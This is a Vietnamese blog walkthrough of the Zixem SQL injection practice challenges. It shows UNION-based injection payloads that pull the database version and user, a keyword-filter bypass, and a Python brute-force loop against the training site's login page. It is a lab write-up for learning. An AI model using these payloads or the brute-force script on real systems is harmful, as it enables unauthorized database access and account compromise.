Thử Sức Vượt Qua Zixem Level 1 Tới Level 5 - MTD SEC

MTD SEC

Chia Sẻ Để Thành Công

Home Top Ad

Post Top Ad

Thứ Sáu, 15 tháng 2, 2019

Thử Sức Vượt Qua Zixem Level 1 Tới Level 5


zixem là một công cụ giúp các bạn học và hiểu được các thức hoạt động của các cuộc tấn công sql injection. hôm nay mình sẽ viết bài hướng dẫn và chi tiết các thức vượt qua tất cả các level của trò chơi.





Quy tắc:





  • Chỉ dùng firefox không dùng các công cụ khác như sqlmap ...
  • chỉ tìm ra phiên bản và user của database




Level 1: Super Easy









Đây là một mức căn bản nhất chúng ta có thể dùng lệnh sau





SELECT * FROM exploits WHERE ID=1




Với câu lệnh UNION , chúng ta có thể kết hợp đầu ra với dữ liệu khác mà chúng ta muốn. Trước tiên chúng ta cần xác định số lượng cột trong bảng.





SELECT * FROM exploits WHERE ID=1 UNION SELECT 1,2--




Và kết quả









Như vậy chúng ta biết được số lượng cột của nó là có nhiều hơn. sau khi tăng số chúng ta được









Vì lỗi không còn nữa, chúng tôi biết rằng có ba cột!





Tuy nhiên, dữ liệu không hiển thị trên trang Để giải quyết điều này, chúng ta chỉ cần vô hiệu hóa id đầu tiên:





SELECT * FROM exploits WHERE ID=1 AND 1=2 UNION SELECT 1,2,3--




Bây giờ, chỉ có dữ liệu từ lựa chọn của chúng ta sẽ được trả về:













ID và Giá được trả lại lần lượt là 21 , điều đó có nghĩa là đầu vào của chính chúng ta đang được trả lại.





Bây giờ chúng ta hãy thay đổi 21 thành
version() và user(), vì vậy tuyên bố cuối cùng của chúng tôi trông như sau:





SELECT * FROM exploits WHERE ID=1 AND 1=2 UNION SELECT version(),user(),3--












Như vậy chúng ta đã qua level 1





Level 2: Easy









Ở vòng này tôi vẫn thử như ở level 1 nhưng không có kết quả trả về









Tôi đã thử thay đổi số lượng cột, nhưng điều đó vẫn không tiết lộ gì.





Chúng ta hãy xem xét lại câu lệnh





SELECT * FROM exploits WHERE ID=1




Có thể trang web này đang lấy ID dưới dạng một chuỗi , thay vì số nguyên. để khắc phục chúng ta thêm dấu '










SELECT * FROM exploits WHERE ID=1'




Và câu lệnh nó sẽ như thế này





SELECT * FROM exploits WHERE ID=1 AND 1=2' UNION SELECT version(),user(),3--








Lỗi cho chúng tôi biết rằng có một lỗi liên quan đến dấu nháy đơn. Chúng ta có thể giải quyết điều này bằng cách thêm dấu nháy đơn vào cuối





SELECT * FROM exploits WHERE ID=1 AND 1=2' UNION SELECT version(),user(),3--'








Bây giờ chúng tôi được thông báo rằng số lượng cột là sai. Bằng cách thêm một cột thứ tư vào lựa chọn, chúng ta được trả lại tên người dùng và phiên bản!













Level 3: Normal









Chúng ta thử bằng câu tấn công ở level trước





SELECT * FROM exploits WHERE ID=3' UNION SELECT user(),version(),3,4--'












Thông báo lỗi cho chúng tôi biết rằng câu lệnh đang được hiểu là user chọn uni (), version (), 3,4 - ' , nghĩa là sự kết hợp đang được lọc ra. Để chống lại điều này, chúng ta có thể thêm cái khác vào on, để ngay cả sau khi nó bị xóa, câu lệnh vẫn đọc union :





SELECT * FROM exploits WHERE ID=3 AND 1=2' UNIONON SELECT user(),version(),3,4--'












Bằng cách như vậy chúng ta đã vượt qua level 3





Level 4: Normal













Tôi không chắc tại sao đây là một thử thách riêng biệt, vì giải pháp gần như tương tự với Cấp độ 2.





7 AND 1=2' UNION SELECT user(),version(),3 --'




Khoan nói với chúng tôi rằng số lượng cột được nhập là sai, vì vậy cố gắng thêm một vài lần cuối cùng đã cho tôi giải pháp làm việc:





7 AND 1=2' UNION SELECT user(),version(),3,4,5 --'












Vậy là chúng ta đã qua level 4





Level 5: Get your “bot-writing” skills









Xem mã nguồn của trang cho thấy điều này:













Vào đường link trên chúng ta được









bây giờ hãy thử mật khẩu zixemhf .













Bây giờ chúng ta biết chính xác những gì chúng ta cần để bruteforce.





Vậy chúng ta cần viết một đoạn code bằng python để làm việc này





import requests as rq

for i in range(1300,99999):
req = rq.get("http://www.zixem.altervista.org/SQLi/login_do.php?pass="+str(i))
if "Wrong pass" in req.text:
print("Attempt #%d" % i)
else:
print("\n\nSuccess!\nPassword: %d" % i)
break




Kết quả tôi tìm ra mật khẩu là 1337










Không có nhận xét nào:

Đăng nhận xét

Post Top Ad